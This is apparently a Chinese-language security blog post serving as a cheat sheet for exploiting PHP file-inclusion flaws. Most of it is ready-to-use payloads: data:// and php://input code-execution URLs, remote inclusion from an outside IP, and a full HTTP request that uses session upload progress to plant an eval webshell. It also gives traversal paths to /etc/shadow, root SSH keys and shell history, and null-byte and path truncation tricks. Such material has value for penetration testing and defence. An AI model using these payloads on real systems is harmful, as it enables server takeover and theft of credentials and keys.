PHP安全之文件包含漏洞

PHP在引入文件时,对传入的文件名没有进行恰当的校验

完全控制文件名

<?php
include($_GET['file']);
?>

完全控制文件名,可用的操作非常多。

远程文件包含

GetShell

要求allow_url_open=on(默认on) && allow_url_include=on(PHP < 5.30默认on,以后默认off)

data协议
http://myhack.com/index.php?file=data://text/plain,<?php phpinfo();?>
http://myhack.com/index.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
http://myhack.com/index.php?file=data:text/plain,<?php phpinfo();?>
http://myhack.com/index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
php://input(allow_url_open可以是off)
数据包
POST /index.php?file=php://input HTTP/1.1
Host: myhack.com
content-type: application/x-www-form-urlencoded
Content-Length: 18

<?php phpinfo();?>
http协议/https协议
http://myhack.com/index.php?file=http://118.88.99.44/php.txt
ftp协议
http://myhack.com/index.php?file=ftp://gaia:123456@118.88.99.44/php.txt

LFI 本地文件包含

GetShell

包含session

结合PHP_SESSION_UPLOAD_PROGRESS

session文件默认路径

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID

/var/lib/php5/sess_PHPSESSID
/var/lib/php5/sessions/sess_PHPSESSID

/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
POST /inc.php?file=/var/lib/php/sessions/sess_gaia HTTP/1.1
Host: 118.88.99.44
User-Agent: curl/7.47.0
Connection: close
Cookie: PHPSESSID=gaia;
Content-Type: multipart/form-data; boundary=--------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Length: 419

----------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

blahblahblah
----------WebKitFormBoundary2rwkUEtFdqhGMHqV
Content-Disposition: form-data; name="file0"; filename="<?php file_put_contents('cmd.php','<?php @eval($_POST[\'c\']);?>');?>"
Content-Type: application/octet-stream


abcxxxxxxxxxxxxxxxxxx paste big file here
----------WebKitFormBoundary2rwkUEtFdqhGMHqV--

多线程跑一下

其他可以控制session内容的情况

包含session文件

包含上传文件

包含自己上传的文件,如图片马

包含上传临时文件
php文件上传流程
HTTP POST with a file arrives
PHP begins analysis
PHP creates temp file
PHP writes data to temp file
PHP close temp file
script execution begins
[optional] script moves uploaded file
script execution ends
PHP removes temp files(if any)

结合phpinfo泄露临时文件路径

利用php://filter漏洞(预计10分钟)

php7的低版本存在的bug
include.php?file=php://filter/string.strip_tags/resource=/etc/passwd
在"string.strip_tags"中会产生segment fault,导致执行流程异常结束,上传的临时文件没有被删除。
所以,多线程上传文件,多线程包含。

竞争包含临时文件

目录在php.ini的upload_tmp_dir中定义,默认为空,则
windows: 
C:\windows\temp
调用的函数是GetTempFileName
<path>\<pre><uuuu>.TMP
C:\windows\temp   \    php  4个十六进制 .TMP

共65535种文件名,且,利用当前系统时间(毫秒),可以更加容易猜解
更强的是,在windows本地文件包含中,可以利用'<<'代替'*',利用'>'代替'?'
所以,
http://site/vuln.php?inc=c:\windows\temp\php<<
当然,当前目录可能存在别的文件,可以考虑限制为
php1<< 或 phpA<< 或 php11<<
然后,上传,直到匹配
linux:
/tmp/
调用的函数是mkstemp
1. random_value = (seed += time() ^ PID)
2. random_value = (seed += (gettimeofday().sec << 32 | gettimeofday().usec)
^ PID)
3. random_value = (seed += rdtsc ^ PID)
最终,6 位 k=62 (A-Za-z0-9 charset) 字符
拼接成 /tmp/phpUs7MxA
情况太多,几乎无法利用,
如果可能的话,是能够列举/tmp目录下的文件,且需要将文件上传到一个处理时间很长的页面
利用竞争条件,包含文件。
包含/proc/self/environs
限制:PHP需要运行CGI,系统需要有/proc,PHP脚本需要有权限读取/proc/self/environ
包含日志文件
Apache log

SSH log

读取敏感文件


../../../../../etc/passwd  
../../../../../etc/shadow
../../../../../etc/hosts
../../../../../var/lib/locate.db
../../../../../var/lib/mlocate/mlocate.db
../../../../etc/apache2/apache2.conf
../../../../etc/apache2/sites-available/000-default.conf
../../../../etc/apache2/conf/httpd.conf
../../../../root/.bash_history
../../../../root/.ssh/id_rsa
../../../../var/log/apache/error.log
C:/WINDOWS/win.ini
C:/WINDOWS/system.ini
结合PHP伪协议读取源码
php://filter/read=convert.base64-encode/resource=./index
php://filter/convert.base64-encode/resource=./index
file协议读取文件
file:///etc/passwd

限制文件名结尾部分

<?php
include($_GET['file'].".html");
>

%00截断

?file=../../../../../../../../../etc/passwd%00
(需要 magic_quotes_gpc=off,PHP小于5.3.4有效)
%00截断目录遍历:
?file=../../../../../../../../../var/www/%00
(需要 magic_quotes_gpc=off,unix文件系统,比如FreeBSD,OpenBSD,NetBSD,Solaris)

路径长度截断

?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.
(php版本小于5.2.8(?)可以成功,linux需要文件名长于4096,windows需要长于256)

点号截断:

?file=../../../../../../../../../boot.ini/………[…]…………
(php版本小于5.2.8(?)可以成功,只适用windows,点号需要长于256)

限制文件名开头部分

../ 回溯目录

../../../../../../../

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com